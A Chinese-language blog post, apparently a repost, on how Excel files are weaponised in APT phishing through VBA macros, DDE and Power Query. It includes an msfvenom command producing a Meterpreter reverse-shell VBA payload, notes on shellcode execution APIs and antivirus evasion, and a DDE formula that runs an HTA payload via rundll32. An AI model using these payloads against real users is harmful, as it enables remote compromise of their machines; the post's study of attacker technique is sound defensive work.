近些年来APT趋势增长,有更多的恶意样本流传于世,这篇文章便初步探讨下Excel的一些攻击。站在攻击者的视角查看一些利用手法,知己知彼方能百战不殆。
随着趋势的发展,office文件一套成为了办公的需要,但同时软件的安全,也成为了企业部门保护信息重症之地。许多组织机构对企业发起APT攻击,其中最为常见的手法有鱼叉钓鱼、水坑攻击等。
在市面上流传的Excel样本,大都数都是如下攻击手法:
- office宏攻击
- DDE攻击
- Power Query DDE (DDE的一种)
office宏攻击(Macros)
所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。
可以通过Kali的msfvenom生成vba恶意代码:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f vba -o shellcode.vba
创建一个xls文件,并开启开发者模式
找到宏
创建一个宏
shellcode利用相关API函数进行线程创建、内存申请、内存拷贝以及最后执行shellcode
- CreateThread 创建线程
- VirtualAlloc 申请虚拟内存空间
- RtlMoveMemory 拷贝内存
大都数组织都在此处将shellcode通过运行自解密、花指令等混淆的方式来规避AV(反杀毒软件)
DDE攻击
动态数据交换(DDE),是在Windows操作系统中实现的客户端/服务端通信的方法。
当我们打开文件时,Excel会对文件的每一行分别进行检查。在对各行的内容进行分隔并复制到适当的单元格之前,Excel会检查该行是否以其命令字符开头,即用于内部函数的字符:“=”、“+”、“ - ”和“@”。根据命令前缀的不同,可能会发生以下两种情况之一:
1.如果前缀是“=”、“+”或“ - ”,则将其余部分视为表达式
2.如果前缀为“@”,Excel将搜索内部函数(例如SUM())并将参数解释为表达式
实际上,命令本身也是一种表达式。
执行外部命令
最终弹出calc
同时可以利用字符串拼接的特性构造payload
=MSEXCEL|‘\..\..\..\Windows\System32\rundll32.exe url.dll,FileProtocolHandler c:\temp\payload.hta‘!_xlbgnm.A1
Power Query
惭愧,Power Query的方式一直没有复现成功,不知为何一直访问失败。这里附上网上的Power Query技术分析:https://xz.aliyun.com/t/5514
感兴趣的朋友可以去看看
原文地址:https://www.cnblogs.com/wh4am1/p/12384606.html